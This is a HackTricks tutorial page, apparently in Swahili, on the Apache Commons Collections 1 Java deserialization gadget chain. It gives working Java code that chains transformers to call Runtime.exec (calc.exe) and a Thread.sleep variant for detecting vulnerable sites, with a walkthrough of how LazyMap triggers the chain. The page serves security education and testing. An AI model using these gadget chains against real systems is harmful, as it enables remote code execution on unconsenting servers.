hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md

230 lines
9.8 KiB
Markdown
Raw Normal View History

2024-02-11 02:13:58 +00:00
# Mzigo wa CommonsCollection1 - Java Transformers kwa Rutime exec() na Thread Sleep
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
## Java Transformers kwa Rutime exec()
2024-02-11 02:13:58 +00:00
Sehemu kadhaa unaweza kupata mzigo wa java deserialization ambao hutumia transformers kutoka kwa Apache common collections kama ifuatavyo:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
2024-02-11 02:13:58 +00:00
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
```
2024-02-11 02:13:58 +00:00
Ikiwa hujui chochote kuhusu malipo ya kubadilisha java, inaweza kuwa ngumu kuelewa kwa nini nambari hii itatekeleza calc.
2024-02-11 02:13:58 +00:00
Kwanza kabisa, unahitaji kujua kwamba **Transformer katika Java** ni kitu ambacho **hupokea darasa** na **kubadilisha kuwa kingine**.\
Pia ni muhimu kujua kwamba **malipo** yanayotekelezwa hapa ni **sawa** na:
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
2024-02-11 02:13:58 +00:00
Au **zaidi ya hapo**, kile ambacho kitatekelezwa mwishoni ni:
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
2024-02-11 02:13:58 +00:00
### Jinsi
2024-02-11 02:13:58 +00:00
Basi, jinsi gani payload ya kwanza inalingana na hizo "rahisi" za mistari moja?
2024-02-11 02:13:58 +00:00
**Kwanza kabisa**, unaweza kugundua katika payload kwamba **mlolongo (array) wa mabadiliko unatengenezwa**:
```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
2024-02-11 02:13:58 +00:00
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
2024-02-11 02:13:58 +00:00
Ikiwa unasoma nambari, utaona kwamba ikiwa kwa njia fulani unafunga mabadiliko ya safu unaweza kuweza kutekeleza amri za aina yoyote.
2024-02-11 02:13:58 +00:00
Kwa hivyo, **vipi mabadiliko hayo hufungwa pamoja?**
```java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
2024-02-11 02:13:58 +00:00
Katika sehemu ya mwisho ya payload unaweza kuona kwamba **kifaa cha Map kinatengenezwa**. Kisha, kazi ya `decorate` inatekelezwa kutoka kwa `LazyMap` na kifaa cha ramani na mabadilishaji yaliyofungwa. Kutoka kwa nambari ifuatayo unaweza kuona kwamba hii itasababisha **mabadilishaji yaliyofungwa** kuwekwa ndani ya sifa ya `lazyMap.factory`:
```java
protected LazyMap(Map map, Transformer factory) {
2024-02-11 02:13:58 +00:00
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
```
2024-02-11 02:13:58 +00:00
Na kisha hatua kuu inatekelezwa: `lazyMap.get("kitu chochote");`
2024-02-11 02:13:58 +00:00
Hii ni nambari ya kazi ya `get`:
```java
public Object get(Object key) {
2024-02-11 02:13:58 +00:00
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
```
2024-02-11 02:13:58 +00:00
Na hii ndio nambari ya kazi ya `transform`
```java
public Object transform(Object object) {
2024-02-11 02:13:58 +00:00
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
```
2024-02-11 02:13:58 +00:00
Kwa hiyo, kumbuka kwamba ndani ya **kiwanda** tulihifadhi **`chainedTransformer`** na ndani ya kazi ya **`transform`** tunapitia **transformers zote zilizounganishwa** na kuzitekeleza moja baada ya nyingine. Jambo la kushangaza ni kwamba **kila transformer inatumia `object`** **kama kuingiza** na **object ndio matokeo kutoka kwa transformer iliyotekelezwa mwisho**. Kwa hivyo, **transformers zote zinafungwa kutekeleza mzigo mbaya**.
2024-02-11 02:13:58 +00:00
### Muhtasari
2024-02-11 02:13:58 +00:00
Mwishowe, kutokana na jinsi lazyMap inavyosimamia transformers zilizounganishwa ndani ya kazi ya kupata, ni kama tunatekeleza nambari ifuatayo:
```java
Object value = "someting";
2024-02-11 02:13:58 +00:00
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
2024-02-11 02:13:58 +00:00
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
2024-02-11 02:13:58 +00:00
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
2024-02-11 02:13:58 +00:00
new Class[]{String.class},
command
).transform(value); //(4)
```
2024-02-11 02:13:58 +00:00
_Note jinsi `value` ni kuingiza ya kila ubadilishaji na matokeo ya ubadilishaji uliopita, kuruhusu utekelezaji wa mistari moja:_
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
2024-02-11 02:13:58 +00:00
Tafadhali kumbuka kwamba hapa **ilielezewa vifaa** vilivyotumiwa kwa mzigo wa **ComonsCollections1**. Lakini **haijafafanuliwa jinsi hii yote inaanza kutekelezwa**. Unaweza kuona [hapa kwamba **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), ili kutekeleza mzigo huu, hutumia kitu cha `AnnotationInvocationHandler` kwa sababu **wakati kitu hiki kinapopata deserialized**, ita **itaamsha** kazi ya `payload.get()` ambayo ita **utekeleza mzigo mzima**.
2022-12-03 17:35:56 +00:00
## Java Thread Sleep
2024-02-11 02:13:58 +00:00
Mzigo huu unaweza kuwa **wa manufaa kwa kutambua ikiwa wavuti ina kasoro kwa sababu itatekeleza usingizi ikiwa ina**.
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
2024-02-11 02:13:58 +00:00
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
```
2024-02-11 02:13:58 +00:00
## Vifaa Zaidi
2024-02-11 02:13:58 +00:00
Unaweza kupata vifaa zaidi hapa: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
2022-12-03 17:35:56 +00:00
##
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>